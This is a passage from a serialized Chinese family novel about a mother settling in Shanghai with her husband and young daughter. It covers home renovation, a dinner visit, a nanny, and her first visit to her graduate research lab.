谷雨从她怀里下来,两条小腿倒腾着,飞快地跑进屋里拿了两本书出来,这些书沉甸甸的,舒英硬是从安城给带到了沪市来。 舒英点点头:“就是这些书,你要不要跟妈妈学认字?”她三周岁了,老家喜欢说虚岁,那就是四岁了,也可以开始认字了。 “要!”谷雨用力点头,拿着书又吭哧吭哧爬到妈妈腿上坐好。 舒英笑了笑,也不看什么劳什子《药理学》了,把谷雨拿过来的书摊在桌面上,指着上面的字说:“《小猫一家》。” 谷雨的也学着妈妈伸出小食指,手小小的,关节处凹下去一个个小肉窝,奶声奶气跟着念:“小——猫——一——家——”声音拉得长长。 舒英笑了笑,翻开第一页,一个字一个字的带着她读,心里想着等下午出去到书店给她买几支铅笔和田字格本,可以学着写一写了。 她带着她念了一面后,也差不多该到做饭的点了,李固言十二点下班,一点上班,就一个小时时间,而且上了半天班肯定很累了,不能等着他来做饭。 舒英去做饭,谷雨也要帮忙,她就给她搬了个小板凳,把小青菜放在盆里让她帮着洗,管她洗得干不干净,不干净她就再洗一遍,主要是培养她独立的能力。 谷雨虽然现在才三岁,但总有一天要长大,父母也不可能一辈子照顾她,所以这些东西都要会一点才好。 之前在机械厂家属院的时候,邻居们都说她们家溺爱孩子,但其实在她看来,他们只是平时宠了点而已,还真没到溺爱的地步,该教的能力该学的东西一个都没有少她的。 谷雨小手在水盆里动作,认认真真地清洗每一片菜叶子,这么小的年龄,都没有走神玩水,真是看得让人感动,舒英想起来她今天的糖还没给她吃,等她把菜洗完后笑着问:“你今天想吃什么口味的糖?” 谷雨今天也没想起来糖果这回事,被妈妈一提醒,眼睛猛然一睁,瞪得圆溜溜的,像两颗琉璃珠子。 “要巧克力糖!” 舒英忍不住笑了笑,抬手在她鼻梁处刮了下,应声道:“好,那妈妈把这菜切完就给你拿好不好?” “好!” 谷雨瞬间化成小跟屁虫,扭着小屁股跟在妈妈腿后面,还掂着脚扒着台面看妈妈切菜。 舒英胳膊旁凑过来一颗毛绒绒的小脑袋,两只亮亮的眼睛好奇地盯着案板,比黑猫警长还要惹人喜欢。 舒英说话算话,把这点菜处理好后,就擦干手进屋,将高柜上的糖罐子拿下来,从里面掏出一颗巧克力糖递给她。 谷雨自己会剥糖纸,而且剥得可利索了,她剥开巧克力糖,自己咬了一半,把还带着牙印的另一半举高递到妈妈。 舒英心中一软,眉眼也更加柔和,唇角上扬,没有拒绝,将另一半含在嘴里化着。 一天就这一颗糖还舍得分一半给妈妈,让她如何能不更爱她 ? 谷雨吃着半颗糖,兴奋地眯起眼,舌头不停地搅来搅去,巧克力化的快,一小会儿就吃完了,只剩下黑黑的牙齿。 她吃完也不闹,满足地拍拍小肚肚,又跑到妈妈身后,还想帮忙洗菜。 菜都洗完了,要不了她帮忙了,舒英道:“你自己玩一会儿吧,爸爸马上就回来了。” “好!” 李固言到家的时候,午饭已经做好了,很丰盛的三菜一汤,他惊讶地“哇”了一声。 舒英好笑地翻了个白眼:“太夸张了吧。” “哪里夸张了?”李固言笑着去厨房洗手。 吃饭的时候,舒英说了要买冰箱洗衣机的事,还分享了谷雨的暖心事迹,嫉妒得李固言光想再拿一颗糖给她,让她也分他一半,感受一下闺女对爸爸的爱。 舒英瞥了他一眼,吐槽说:“幼稚!”但眼中笑意不减。 李固言给谷雨夹了一块肉,也给她夹了一块肉,笑着反驳:“我才不幼稚。” 他吃完饭,舒英就赶着他去睡觉,又没让他收拾,李固言道:“没事,也没几分钟里,我中午不睡也没关系。” “下午还要上一下午班呢,好歹眯一会儿,等晚上下班才有精神陪我去买大件儿。”舒英看了眼时间,快四十了,他还得提前十分钟走,沪市这点是真不好,中午就一个小时,吃个饭就差不多了,根本没什么时间睡觉,像安城,起码还能睡个三四十分钟呢。 李固言拗不过她,乖乖进屋。 谷雨吃完饭也犯困,拖着自己的小羊跟在爸爸后面打呵欠,也让爸爸换了衣服爬上床,靠在他身上瞬间睡过去。 李固言听着她平稳的呼吸声,有些好笑,还是小孩子好啊,说睡就能睡着。 他闭上眼打了一会儿盹,就悄声从床上起来,换好衣服后出门,正好舒英也把卫生打扫好了,送他出门上班后,也上床搂着谷雨继续睡。 下午睡醒后,母女俩没干什么事,就是玩了会儿又读了会儿书。 等李固言回来后,一家子就去百货大楼买冰箱洗衣机。 冰箱洗衣机买完,瞬间花出去三千块,舒英付完钱又在家电区转了转,新家过几天也要开始装修了,到时候还要添置一些家电,正好趁着这时候看看都有些什么,沪市发展的快,好多东西都比安城先进,她记得她前段时间还在哪看到过有什么洗碗机,专门洗碗的机器,想想都觉得诧异,连洗碗都能机器代劳了? 也不止是看家电,还要再看一看家具,李固言租的这个房子家具基本都是房东配齐的,不是他们买的,那新房里就还得买床、桌椅、沙发这些,柜子倒是可以让木工打一整套。 床就先买一张双人床,一张单人床,先都放在主卧里,等谷雨五岁的时候再把单人床搬到次卧,让她开始一个人睡。 第54章 第 54 章 第一漂亮和第二漂亮…… 从百货大楼出来, 舒英和李固言带着谷雨往家走,李固言突然说:“对了,祁姐说这周日晚上让咱们去她家吃饭。” 祁姐就是祁欣美, 去年罗厂长厂子的业务扩展到沪市后, 她跟罗厂长一家子人就也搬到了沪市。 舒英点点头:“行,那我们提前准备好要送的东西。”去人家家里做客总不能空着手去,而且罗厂长对李固言是有知遇之恩的, 礼重一点也没关系。 她又道:“姐今天还打电话过来说她找了一家还不错的装修公司,问我要不要一块儿见见,我想着见见也好,要是真的还不错的话, 咱们也用这家,要是不行,你回头就再多打听打听。” 李固言对此也没有意见,点头答应。 第二天, 李固言去上班, 舒英就带着谷雨去了舒秀珍说的地址。 天空阴沉沉的,像是随时就要滴点雨下来一样, 空中的风也不小, 刮得树枝树叶“唰唰”地晃来晃去。 等母女俩到装修公司的时候,舒秀珍已经在那里等着了,谷雨一看见她就甜甜的大声喊道:“大姨~” “哎~”舒秀珍笑了下,弯腰把她抱起来。 贝贝今天上幼儿园去了, 没跟着她一块儿来,而且这种谈正事的场合带着她来回奔波也不太方便,舒英是没办法,这不像是在安城, 有孩子奶奶看着谷雨,在这里李固言要上班,她要不带着谷雨,谷雨就没人带了。 舒秀珍在谷雨脸上亲了下,问舒英:“到时候你上学了,妹夫又上班,谷雨谁带呀?” 舒英:“那时候她也上幼儿园了,白天就待在幼儿园里,晚上给她接回来,不耽误。” “现在盘算的好,就怕你们俩到时候会忙不过来,连接孩子放学的时间都没有,晚上要是再都加个班,就把谷雨一个人放家里吗?” 舒秀珍的工作忙,家里跟在安城时一样,是请了位住家保姆的,平时她要是没空,就是保姆去接。 舒英还没想那么远,说:“暂时先这样,到时候要是真出现这种情况就再商量,看是不是也请个保姆。” “行。”舒秀珍接触的人多,知道研究生天天也忙,没比上班的清闲,到时候又要忙学业,又要顾着家里,就怕她会忙不过来,“不过保姆也不好请的,有的保姆也很坏,知道家里没人看着,仗着自己是大人,会欺负小孩的,小孩子年龄小,说不清,咱们被瞒着也就不清楚。” 她一个人带孩子,最怕出现这种情况,家里保姆换了好几个了,现在这个还是熟人推荐才一直留着的。 舒英没请过保姆,还真不知道会有这种现象,不过想想也是,哪行哪业都有好人坏人,谁也不能保证请的保姆就都是好的。 “到时候再说吧。”话是这样说,心里还是有些担心,想着要不要趁暑假有点时间先接触几个保姆看看。 就在这时,跟他们约好的装修公司经理过来了,看见舒秀珍就热情地笑起来,一看就跟她是认识的,招呼道:“姐您来啦,喝咖啡吗?我给你们泡两杯咖啡?” “都行。”舒秀珍也笑,跟着介绍:“这是我妹妹,家里也想装房子,今天也是想过来了解一下你们公司的业务能力。这是苏经理,那可是个历害人。” 苏经理瞧着是个很精干的人,穿着灰色的职业套装,头发盘起,一丝不乱,脸上始终带着笑,就没放下来过,摆摆手:“可称不上厉害,不过咱们公司在业内也是小有名气的,您二位想装修房子找我们可是找对人了。您二位稍等,我现在给你们泡咖啡,小朋友是喝果汁还是牛奶?” 舒英:“果汁吧。” “好的,马上就来。” 舒秀珍等她转身后跟舒英低声道:“这个苏经理之前也是我们公司的,我刚来没多久她就跳槽到这里了,混得风生水起,现在都当上经理了。” 舒英点点头,看出来了。 一个人是否能干,其实第一面,端看他的言行举止,就能打量的七七八八。 舒秀珍又说:“据说也是离过婚的,不过没有孩子……” 在她们闲聊之际,苏经理就笑着端了一个餐盘过来,上面不止有咖啡果汁,还配了一些小蛋糕。 她把东西放在桌子上,也跟着侧坐在一旁,屁股没坐实,面朝着她们,方便随时留意她们的动向,她手里不知道什么时候又多了一本厚厚的宣传册,翻开递过来给她们。 “这里面有我们公司装修的一些样例,你们可以看一下参考参考。”她道,“我们公司在装修上面是很有经验的,而且条例完善,售后也有保障,后续遇到什么问题都完全不用担心,我们保证会给解决。” 大家都不是有钱人,买一套房子不容易,都是奔着能长久住的念头去的,装修自然也不能松懈,但一套房子装起来却不是那么简单的,实际操作中会遇到很多问题,有些装修公司就喜欢打哈哈,把这个责任推卸来推卸去,到头来还是业主花钱吃亏。 舒英和舒秀珍一页一页翻着宣传册,上面有很多照片,看得人眼前一亮又一亮,里面的样例装的都很漂亮,就是不知道是不是公司里特意选来的虚假示意图。 苏经理看出她们的忧虑,笑道:“这些都是真的照片,都是我们公司接手的单子,其中有些还是我跟全程的,可以说质量绝对有保证 。” 算起来,舒秀珍跟她其实也不是特别熟,她问:“咱们这个价格是怎么算的呢?”不管用不用这家公司,先问问价总是没错的,对装修的价格摸个底,出去也能跟其他公司比比价。 “咱们这个价格也不是固定的,要根据房子的面积、材料的档次、以及客人想要装成什么样来算,像有的客户呢就是全都包给我们,最后直接拎包入住,这种肯定是贵一些的,还有就只要我们负责硬装部分,就会相对便宜一些。”苏经理语调不尖不顿,娓娓道来之感,让人很有往下听的兴趣。 舒英点点头,对此表示理解。 三人对照着宣传册,聊了大概一个多小时,舒英这么听下来,觉得她们这公司还不错,价格虽然高了些,但操心的事相对来说也少些,她马上要读研了,开了学肯定是做不完的实验,她跟李固言是没时间盯着装修进度的,顶多就是时不时地去瞅两眼,这种能全包给人家,售后还好的公司,她是挺中意。 舒秀珍也挺满意,她看上了宣传册上的一个样例,想照着装成那样。 不过一次肯定是谈不下来的,价格也好、条件也好,都还要互相商谈磨合,两人起身告辞,说回去再商量商量。 苏经理似乎对她们的动作早有预料,真诚挽留的同时并不显急躁,对比卖房子的那个中介,销售手段上可以说是天壤之别了。 谷雨在这里喝了果汁,又吃了小蛋糕,肚子是吃得饱饱,舒英瞧着,中午奶粉都不一定能喝得下。 舒秀珍下午还有工作,出了公司门,就跟她们分开了。 回去的路上,舒英顺便买了菜回家做饭,等李固言回来的时候,跟他说了上午谈装修的事,“我觉得这家还不错,等下回你跟我们一块儿去看看,你要也觉得还行,咱们就定这家吧?” “行。”李固言洗手,帮着拿碗筷。 装修公司还没定下来,就先到了周日,要去祁姐家吃饭。 周日休息,一家子直睡到日上三竿才悠悠转醒,起床后简单吃了个午饭,就开始打扮起来。 谷雨现在很有自己的审美,特别喜欢给她买的一条粉色的蓬蓬连衣裙,她皮肤又白皙,穿上后,往镜子前一站,像个小公主一样,舒英把她头发拢到一起盘起来,在上面别了个亮闪闪的水晶小皇冠。 给她打扮好后,她还要屁颠屁颠地跑到李固言跟前问:“爸爸爸爸,我今天是不是特别特别特别漂亮!”一连说了三个特别,也没有用疑问语气,可见是对自己很满意。 李固言笑起来,道:“是,今天你就是最漂亮的。” 没想到谷雨听到这话后反而不高兴地嘟起嘴,大声反驳说:“我今天不是最漂亮的,妈妈才是第一漂亮,我是第二漂亮。” 她声音大,房间里的舒英也听见她的话,停下手中的动作,走出来和李固言对视一眼,互相开怀大笑。 谷雨不知道他们笑什么,穿着小皮鞋哒哒哒跑到妈妈身边,双手一搂抱住她大腿,仰着头看她,眼睛里都是仰慕:“在我心里,妈妈就是最最最最最漂亮的!”刚才‘特别’用了三个,‘最’可是用了五个。 舒英双手穿过她腋下把她抱起来,脸上的大笑还止不住,这么小的人儿,脑子里都是装的什么奇思妙想,怎么这么有意思呢? 李固言顺从闺女的话笑道:“对,妈妈第一漂亮,谷雨第二漂亮,那不知道爸爸是否有幸能排在第三漂亮呢?” 谷雨一双大眼睛骨碌碌地盯着他,脸上的表情瞧着还有些严肃,郑重点了点头:“好吧,就让爸爸是第三漂亮吧。” 这话听着还有些勉强但是很贴心地照顾爸爸感受的意思。 夫妻俩又是一阵笑,挤着谷雨的脸亲着。 李固言说:“既然第一漂亮和第二漂亮都在我们家,那怎么能不拍照留念一下呢?我现在去把相机拿出来。”说着还有些可惜没把刚才的画面用录像机录下来,这样以后翻开的时候该多有趣。 不过也没关系,画面没记录下来,还有文字,他可是给谷雨写了整整一大本的成长日记。 照片定格,画面里的一家三口齐齐笑起来,嘴角弧度上扬,眼神明亮呈月牙状,小公主被爸爸妈妈抱在中间,紧紧挨着,浑身都充满了幸福气息,让人永远也忘不了这一刻。 照完了像,舒英又接着回房间梳妆,谷雨跟在她身后一起进屋,挨在镜子前好奇地看着,一会儿瞧瞧镜子里的妈妈,一会儿盯盯现实里的妈妈,屁大点的人还会感叹:“妈妈你好漂亮啊!” 舒英都被她弄得笑得停不下来,在她鼻梁上刮了刮:“我们谷雨也好漂亮。” “嘿嘿。”谷雨咧着嘴笑起来。 母女俩弄完后,舒英也给李固言稍微捯饬了一番,说:“家里没发胶了,要不然我还能再给你弄弄头发。” 之前给他用过发胶,造型一弄,更帅一个度。 李固言甩甩头不在意地说:“没事,在公司里天天见面,我要是还喷上发胶,罗厂长该取笑我了。” 舒英踮脚摸了下他的头发,“感觉好像有点长了,晚上回来去理发店修修短吧?正好也要给谷雨的头发也剪一剪。”小孩子头发留太长了也不好,能扎个小辫子就行。 “行。” 四点多的时候,一家人收拾好,拿着提前就买好的东西出门坐车去罗厂长家。 他们家住在这一片的一个高档小区里,到门口后,保安拦着没让进,给打了电话确认后才请他们进去。 舒英见状感慨道:“这种安保挺好,看着就安全,孩子在小区里玩,一般也不会发生什么危险的事。”当了父母后,心里最放不下的就是孩子了,孩子的安全是重中之重,她有时候看了一些不好的新闻后夜里做梦,梦到谷雨被拐走,梦里那种揪心无助好像心死了一般的感受太真实,醒了好一会儿都还觉得缓不过来。 李固言知道她担心什么,说:“咱们那小区安保也不错,我问过的。”他说的是新房,毕竟买的电梯房,价格更高,服务也就更好。 舒英点点头,牵着谷雨跟着他来到罗厂长家按响门铃。 来开门的是一个十四五岁的男孩,看见李固言很有礼貌地喊:“李叔叔。”喊完看向旁边的舒英也喊了一声“阿姨。” 舒英还记得他,是罗厂长的大儿子,叫罗耀文,不过他应该不记得她了,毕竟上回见面也快两年了。 祁欣美听见动静连忙迎出来,看着舒英和李固言热情招呼着进屋。 “哎呀小英,这过得真快,一眨眼,你也来沪市了。”祁欣美笑着,视线移到谷雨身上道,“谷雨都长这么大啦?真是越来越好看了,肯定不认识我了吧?” 那自然是不记得了,舒英牵着她的手晃了晃,笑着教道:“这个要叫伯母,这个喊大哥哥。” 谷雨乖乖跟着喊,眼睛大大的,瞧着还有些茫然。 这时候罗耀武也出来,被祁欣美拉过来,笑着说:“快过来问好,这是舒阿姨,这是谷雨妹妹。谷雨,这个是二哥哥。” 两个小朋友也听话地互相喊了一番。 厨师已经把饭都做得差不多了,菜被一一端上桌,祁欣美招呼着大家上桌吃饭,边吃边聊,还把舒英拉到自己身边坐下。 “我记得那年你跟李工一块儿来宜州,我还问你呢,你们夫妻俩两地分居,能受得了吗?没想到你这就考到沪大来了。”她笑起来,沪大谁不知道,沪市顶有名的大学,能考到里面的都是很优秀的。 她们家会搬到沪市来,也是奔着沪市的教育资源来的,罗耀文现在念初中,罗耀武也上小学了,她想让他们享受最好的教育,念顶级大学。 舒英谦虚 笑笑,开了个小玩笑:“没有,这不像您说的,夫妻俩分居两地嘛,那就只能往一个地方去努力,考不上拼了命也得考。” 祁欣美笑起来,打趣她促狭。 “我们家这厨师也是来了这之后重新聘的,他烧红烧肉是一绝,尝尝符不符合你口味。”祁欣美笑着,用公筷给她夹了块红烧肉,又问,“前两天听李工说,你们在丽景都院买了房子?” 舒英点头笑说:“是,不过还没装修呢,等装完请你跟罗大哥来暖居。” “那好啊。”祁欣美说,“听说丽景都院不错,也是电梯房,周边配置也挺好,我还没去过呢,等到时候去看看,要是不错,我也在那边买两套。” 她这买两套就是为了投资而不是为了住了。 舒英心中颇为嫉妒,瞧瞧,人家这买两套十来万的房子跟去街上称个西瓜一样简单,她转头瞟了眼李固言,她俩还需努力呀! 吃完了饭,罗家的俩儿子回房间写作业去了,祁欣美看着谷雨说:“谷雨应该也快到上幼儿园的年纪了吧?” “是,就准备这个九月就送她去幼儿园。” “那你们学校看好了吗?” 舒英摸了摸谷雨的头,回道:“还没呢,这不才来了几天吗,还没腾出空,想着过几天闲下来就到周围那几个幼儿园看看,考察一番。” 祁欣美又问:“那你有没有想好让她学个什么艺术?像女孩子学个什么芭蕾啊小提琴啊都很不错。” 学艺术?舒英现在还没想到这些,不过她会拉手风琴,等她长大了倒是可以教给她,“她还小呢,过几年再送她去也不迟。” 祁欣美却对此抱有不同意见:“不小了,好多人都是小孩子能上幼儿园就送去艺术班了,我跟你说,这培养孩子不能不着急的,孩子要培养得全面,不能只学习好,还要会一些特长,像我家这两个,我都给报了班,学了钢琴和击剑。” 李固言听见她的话看了眼还懵懂着的谷雨,说:“才三岁,还是话都说不明白的年纪,学这些太早了吧。” “你可不要以为孩子小,他们学起这些来可比大人快多了。”祁欣美说,“不过学不学,什么时候学,也都是看各人想法嘛,我也就是给你们一个建议。” 舒英道谢,回去的路上难免有些焦虑,想让谷雨去学,但又怕她太辛苦,不让她去学的话,又怕她真的会落人一步。 当了父母就是这样,什么事都要考虑,什么都要周全,生怕自己的一点决定会耽误到孩子什么。 “不用急,要实在犹豫,咱可以等有空的时候带谷雨去这些班看看,她要是感兴趣就送她去学,要是不感兴趣就再等两年,晚两年也不会差什么的,而且我们谷雨这么聪明,我可不觉得她玩两年学会比别人差什么。”李固言拍了拍她的手安抚道,“等回头还可以问问姐,贝贝有没有在上什么艺术班。” 舒英摇摇头,“贝贝应该还没上,要不姐应该跟我说了。” “那就更不用急了,还这么小呢,只要她快快乐乐地长大就行,这些东西能学最好,她要是实在不感兴趣那就再说。” 舒英也笑了,捏捏谷雨的小脸道:“我觉得你说的对。对了,祁姐刚问谷雨有没有学艺术的时候,我一下子想的是我还会拉手风琴呢,可以教她。” “对啊,这不是挺好,你亲自教,她肯定学的很认真,在她心里,你可是第一重要。” “怎么,你吃醋啊?”舒英转头笑着看向他。 出租车在路上飞驰,沪市夜晚璀璨的灯光在她眼底倒映出点点星光,李固言压低了声音在她耳边道:“在我心里,你也是第一重要。” 舒英脸红一瞬,瞪了他一眼,说话是越发不顾忌了,这还有外人在呢! 她坐直身子,转了话题说:“不过算算我都好几年没拉过手风琴了,从怀谷雨开始,就一直没闲过,不光是没时间拉手风琴,以前还织毛衣钩围巾的,后来也没碰过了,现在再让我拉手风琴估计手都生了,也不知道还能不能拉出一首完整的曲子来。这次来沪市,我想把手风琴也一并带过来的,但它占位置又重,就没拿,放在妈家了。” “没事,今年过年回去给带过来,等闲暇的时候摸一摸,毕竟是会拉的,就算生疏,练一练也就回来了。” 谷雨听到现在,突然问:“妈妈,手风琴是什么?” “一种乐器,能拉出歌曲来的,你想学吗?” 谷雨点点头,也不知听没听懂妈妈的话。 舒英笑起来:“好,那妈妈回头教你。” 第55章 第 55 章 报到 舒英李固言和舒秀珍后面又见了苏经理, 商谈得还不错,最后都定在这家装修公司,硬装部分全部都包给他们, 相应的, 他们公司提前会先给他们出一个设计图。 舒秀珍道:“贵是贵了点,但胜在省事,你看咱们俩家子, 谁家有时间天天去跟工人磨要求,盯装修进度。” “是啊。” 舒英对新家装修的设计图要求是温馨明亮,舒秀珍是想要简洁典雅。 不得不说苏经理他们是专业的,设计图很快就出来, 他们提了要求后,又改了两版,设计图就算是正是确定下来,不日就能动工了。 又解决一件大事, 舒英心里也松一口气, 现在还剩下给谷雨看幼儿园和到学校报到。 还没等她想好先干哪件事呢,贝贝六月下旬就放暑假了, 舒秀珍觉得她自己一个人在家被保姆看着实在有些无聊, 干脆让保姆白天带着她到舒英家里来,正好两个大人看两个小孩相对来说也能轻松一些。 舒英也高兴能见到贝贝,而且两个孩子在一块儿还能有个同龄的玩伴。 贝贝今天穿着白色的圆领短袖,下半身是配套的白色运动短裤, 脚上穿着小凉鞋,还带着黄色的鸭舌帽,怎么看怎么可爱,一进门就乖乖巧巧喊“小姨”, 软糯的童声,把舒英的心都萌化了,赶紧让她进来吹风扇。 她是背着小书包过来的,包里放着她的小玩具,脱了鞋跟谷雨一块儿坐到地毯上,把书包拉开,把里面的玩具都掏出来,要跟妹妹一起玩。 舒英瞧她姐俩儿玩得融洽,也乐得自在,跟保姆聊天。 带贝贝的保姆姓黄,大家都叫她黄姐,年龄瞧着四十朝上,为人勤快麻利,就是话不太多,一来就在家里找着活儿干。 舒英连忙笑着说:“不用不用,这桌子我早上擦过了。” 话刚说完就见黄姐要去拿拖把拖地,“那我拖拖地吧?” “地也拖过了,现在没什么活儿要干,黄姐你陪我聊聊天好了。” 黄姐瞧着有些拘谨,不自在地坐在椅子上,身子有些紧绷。 舒英看在眼里,给她倒了杯水:“黄姐你在我姐那干多久啦?” “五个多月了。” “哦,那也挺长时间了。”舒英又问,“那你每天都是干些什么?” “每天早上先照顾贝贝起床穿衣服吃饭,然后送她去幼儿园,白天就在家里做家务,下午三点半再去把贝贝接回来,带着她在公园玩一会儿,再回家准备晚饭。” 回答的有些一板一眼。 舒秀珍跟她说过黄姐,说她人挺老实的,这才放心地把贝贝交给她带。 闲聊一会儿后,黄姐总算放松了些。 马上要到中午了,黄姐问:“您中午想吃什么饭?我现在去准备。” 舒英看了眼手表,才十点,知道她是面对她不自在,笑道:“冰箱里有肉有菜,您看着做就行。” 说完看了眼地毯上笑哈哈的两个小朋友,等黄姐进了厨房后,就把书拿出来看。 还没看一会儿呢,桌子边就探出一颗小脑袋,接着又探出了另一个。 舒英看着她们俩笑了笑:“怎么了,有事吗?” “妈妈我想听故事!”谷雨眨巴眨巴眼睛,还扭头看了一下贝贝道,“姐姐也想听!” 舒英好笑地看着她俩,点点头答应:“那好吧,你们到沙发上坐好,我去拿故事书给你们读故事听。” 黄姐饭做得又快又好,菜香飘满室,舒英闻到后忍不住在心里感慨,家里有 个保姆的确是方便啊,能轻松不少,像前段时间这个时候都是她在厨房里忙活,夏天又闷热,一个饭做下来,都要出一身的汗。 李固言中午回来吃饭,看到一桌子菜也有些惊讶:“烧了这么多?” 舒英笑笑:“快坐下吃,尝尝黄姐的手艺,她在厨房炒菜的时候我就闻到香味了。” 黄姐听到这话抿唇笑了笑。 吃饭的时候,舒英想拉着黄姐一起坐下吃,黄姐硬是没同意,先照顾着贝贝吃好后,自己才在厨房吃的。 吃完了饭,舒英自然地收拾碗筷,黄姐看见后连忙说:“您放那就行,我待会儿吃完就收拾了。” 舒英笑了笑:“你都做了一晌午饭了,我来收拾就行。” “我洗就行,我洗就行,您到那边歇会儿吧。”黄姐放下碗连忙过来。 舒英一侧身避过她,把碗筷端到厨房水池,打开水龙头放水,边放边笑说:“黄姐,你不用这么紧张,我又没给你开工资,你这来我这里,光是中午做饭都比之前的工作量大,晚上回去还得收拾我姐家,这要是再让你把我家也一并负责了,岂不是不太道德?” 黄姐听到这话一愣,她不是第一次做保姆了,以往遇到的那些雇主有好相处的也有难相处的,但请保姆是花了钱的,谁不想让她多干点活儿?哪有人说让她多干点会不太道德这种话? 她也有些不知道该回什么,抿了抿唇说:“我跟您一块儿收拾吧?” 这下舒英没再拒绝她,玩笑着说:“那你先把饭吃完,这哪有不让人吃饱饭就干活的道理。” 黄姐带着贝贝来了几天,舒英跟她相处了这几天后说:“黄姐,过两天我有个事要做,到时候你帮我看一下谷雨吧?” 她是想去学校看一下,只是之前天天要带谷雨就没腾出空,现在正好黄姐白天过来,她这几天看下来,觉得黄姐人不错,是值得信任的,到时候把谷雨交给她一天,她正好去学校报到。 “行,您把谷雨交给我只管放心。”黄姐笑笑答应。 舒英对黄姐是放心了,但对谷雨又有点不放心,怕谷雨见不到她会闹,也怕她跟贝贝闹别扭争执起来,黄姐会处理不好,所以提前跟谷雨道:“谷雨,妈妈过两天要出去一下,有事情要办,到时候你就和贝贝姐姐一起跟着黄阿姨好吗?黄阿姨会带着你们吃饭玩耍睡午觉的。” 谷雨看着她问:“妈妈不能带我一起去吗?” 舒英遗憾地摇摇头:“这次不能带你。” “那好吧。”谷雨瞧着有点小委屈,但还是答应道,“我会好好听黄阿姨的话的。” “谷雨真棒!妈妈最喜欢你了!”舒英笑起来,捧着她的脸亲了下,“那你还要答应妈妈,不能跟姐姐吵架好吗?” 谷雨撅着小嘴点点头:“那好吧。” 两个差不多大的小孩在一起,就算感情再好,也难免会闹矛盾,谷雨跟贝贝就是这样,大多数时候都是很高兴地在一起玩,但也时不时就会开始闹别扭,而且理由也是千奇百怪,说出来也是让人摸不着头脑地想笑。 今天俩小家伙还因为一个玩具吵起来,哭嚎得天崩地裂。 沪大暑假放得晚,要七月多才放,所以舒英带着录取通知书去报到的时候,章惠然正好在。 章惠然看到她过来也很意外,问:“我还以为你要九月份才来呢,你工作的事已经处理好了?”她知道她在考研之前是有工作的。 舒英点头笑着回答:“是,已经辞职了,现在搬到沪市住了。” 她看着章惠然,她跟上次见面没什么区别,精神矍铄,全身上下除了手腕处戴了一只银色的女士手表外,没有佩戴任何首饰。 章惠然说:“正好,今天你师哥师姐他们也在,我带你去认识认识。” 她起身带着舒英朝实验室走,边走边介绍:“刚刚那是我办公室,不过我不经常在那,我待会儿给你个寻呼号,你要是有什么事情找我,可以给我发消息。” 舒英亦步亦趋地跟在她身后,认真地点头,像她这样的大牛,平时是很忙的,她要做研究,要写文章,有时候还要被别人邀请到各地出差,是不可能一直在学校里带学生的。 章惠然指着前方的实验室说:“到了。” 两个人进去,里面好几个人,都穿着白色实验服,神色认真地各自忙碌着什么。 章惠然进去后拍了拍手,大家都跟着看过来,注意到她身边站着的新人。 彭娟娟笑道:“老板,这是咱们另一个学妹吗?长得真好看,跟画报明星似的。” 章惠然是博导也是硕导,一般来说,每年只会带一名硕士生,但今年意外地收了两位学生,一个是付思萱,本校保研上来的,他们都认识,另一位听说上的是中专,本科是自考的。 要知道,他们这个实验室里的博士生硕士生,哪个人的本科不是重点名牌? 这突然来一个没念过正经本科的,这种要么是真的很突出很厉害,要么是背景上有些不可说,大家私下里还讨论会是哪种情况呢,不过按照章惠然的脾气,“不可说”的可能性比较小,所以他们都好奇这个叫“舒英”的学妹会是何方人物。 章惠然不是很古板的人,听到她的打趣笑说:“就你嘴最贫,对,她是舒英,即将入学的研一新生,你们学妹。” 舒英看到他们眼神里的探究也有些纳闷,但面上不显还是笑着向大家点头致意。 这个实验室里不算上她和章惠然还有三个人,都是女生,彭娟娟立马自我介绍说:“学妹好!我是彭娟娟,目前研二。” 又热心地替她介绍另外两位:“她是欧阳雪,现在是研三,是咱们学姐。” 舒英视线移过去,欧阳雪人如其名,看着就很清冷,和她目光对上也只是点了点头。 “她是付思萱,跟你一样都是开学研一的。” 付思萱立马笑起来举起手冲她摆了摆。 舒英也对她笑了笑,她还以为自己现在就来报到已经够积极了,没想到同学都已经进组了!心中瞬间升起一股焦灼感。 “对了,咱们还有两个男生,今天不在,等过两天你见到了再跟你介绍。” 章惠然抬手看了眼表盘说:“行,你今天就跟思萱一样,先跟在欧阳旁边学习吧,我还有事,就先走了。” “老板再见!”彭娟娟笑嘻嘻地接腔。 章惠然抿唇笑了下,转过头面对她时表情又严肃起来:“还嬉皮笑脸的呢!你这段时间好好翻翻文献,马上研三了,毕设得抓点紧了。” 彭娟娟听到这话,脸色立马拉了下来,瞧着很命苦的样子,窘着脸答应:“马上马上。”声音有气无力的。 章惠然笑了下也不再说什么,起身出去了。 舒英看着她们,觉得大家之间的氛围都很好。 章惠然一出去,彭娟娟和付思萱瞬间围上来,跟她聊天。 “你叫舒英?” 舒英点点头笑说:“是。” “我听说你是读的中专,而且工作了好多年后才继续考学的,是真的假的啊?”彭娟娟好奇问,又好像觉得自己这样问有些不礼貌似的,挠了挠头尬笑说,“你要是不想说的话,也可以不说的。” 舒英不动声色地打量了眼她们,欧阳雪没过来还在 位置上记录着什么,不过听到彭娟娟的问话后也停下了笔,眼神不自然地瞟着她们,小兔子似的,让人有些忍俊不禁。 这下算是知道刚才为什么她们看着她的眼神有些奇怪了,原来是好奇这些,这倒是没什么不可说的,她点头回道:“是,我之前在医院药房工作。” 彭娟娟见她回答了,也为自己的莽撞松了一口气,摆了下手道:“其实工作后再考研的也好多人的,廖哥也是,哦,廖哥叫廖承平,就是今天没来的男生之一,你喊学哥,我喊学弟。” 学弟却叫廖哥? 舒英笑了笑,有些疑惑,但没问,她今天第一天过来,还有好多其它重要的问题想了解。 几个人互相交换了一下信息,也各自熟悉不少,彭娟娟还有文献要看,跟她们聊了没一会儿就垂头丧气地回到了自己的位置上。 就剩了舒英和付思萱。 她俩都是研一新生,要做的事情几乎是差不多的,付思萱是保研的,进组的早,知道的也比她多,道:“咱们导师都是章教授,我们都叫她老板,因为她每个月都会给我们发钱。”说着眯起眼笑起来。 舒英也忍不住笑。 “不过她很忙的,像咱俩都是新生小菜鸟,是不直接跟着她做研究的,咱们跟着欧阳学姐,欧阳学姐马上就是博一了,她是硕博连读的。欧阳学姐虽然话少,但人很好的。” 舒英抬头看了眼欧阳雪,她刚才听完她们说的话后就又低着头专注着自己的事情了。 付思萱又问:“对了,你现在是住在哪啊?你开学要住宿舍吗?我现在还在本科宿舍呢,开学就要住硕士宿舍了,你要是也住的话,咱俩可以住一间。” “我已经结婚了,所以不住宿舍。” “你结婚啦?”付思萱瞪大眼,有些吃惊似的,“那你多大啊,你结婚多久啦?” 